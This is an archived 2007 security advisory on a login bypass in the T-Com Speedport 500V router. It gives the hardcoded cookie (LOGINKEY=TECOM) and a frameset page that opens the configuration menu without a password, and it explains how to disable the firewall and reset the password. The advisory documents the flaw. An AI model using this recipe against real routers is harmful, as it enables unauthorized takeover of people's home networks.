AOH :: HP Unsorted V :: C07-1984.HTM

Virginity Security Advisory 2007-001 : T-Com Speedport 500V Login bypass



Virginity Security Advisory 2007-001 : T-Com Speedport 500V Login bypass
Virginity Security Advisory 2007-001 : T-Com Speedport 500V Login bypass



- - - --------------------------------------------------------------------
Virginity Security Advisory 2007-001
- - - --------------------------------------------------------------------
             DATE : 2007-01-19 15:32 GMT
             TYPE : remote
VERSIONS AFFECTED : T-Com Speedport 500V Firmware 1.31
           AUTHOR : Virginity
  ADVISORY NUMBER : 005
- - - --------------------------------------------------------------------


Description:

The Speedport 500V is a broadband-router which is sold in germany along
with ADSL lines. (just so you know)

The system is stupid and verifies wether you have entered the correct
password by setting a cookie with the content LOGINKEY=TECOM
(this is hardcoded and can not be changed)
If an attacker simply creates this cookie he can bypass password 
authentication by simply calling the configuration html sites directly.

The attacker then has nearly full system access (you cannot change the
system password without knowing the old one) and can change system
configuration e.g. disable the firewall. You can also perform a firmware
upgrade, which allows you to reset the password to the default one, which
now gives you full system access.

Vendor has not been notified. I don't think they care^^.

- - - --------------------------------------------------------------------


Example:

Create a cookie like this:

Name: LOGINKEY
Content: TECOM
Host:  <- replace this by your routers ipaddress ;)
Path: /
Expires: Never

create a html page like this and open it in your browser:



src="http:///b_banner.htm" name="banner"> 

src="http:///m_startseite.htm" name="menu"> 
src="http:///hcti_startseite.htm" name="hcti"> 




this will bypass the login screen and lead you directly to configuration 
menu.

- - - --------------------------------------------------------------------


Workaround:

Download the Sourcecode from the vendor (GPL), replace TECOM with something
else, try bulding it, and then try installing it on the hardware.
i did not try this. its stupid and does not really solve the problem.

- - - --------------------------------------------------------------------


Personal note:

Still here... sadly not dead yet. maybe i should hack the NSA so they kill
me? *lol* guess i'd have to learn some real things.... greetz to s.
and that other admin.

- - - --------------------------------------------------------------------

The entire AOH site is optimized to look best in Firefox® 3 on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH
We do not send spam. If you have received spam bearing an artofhacking.com email address, please forward it with full headers to abuse@artofhacking.com.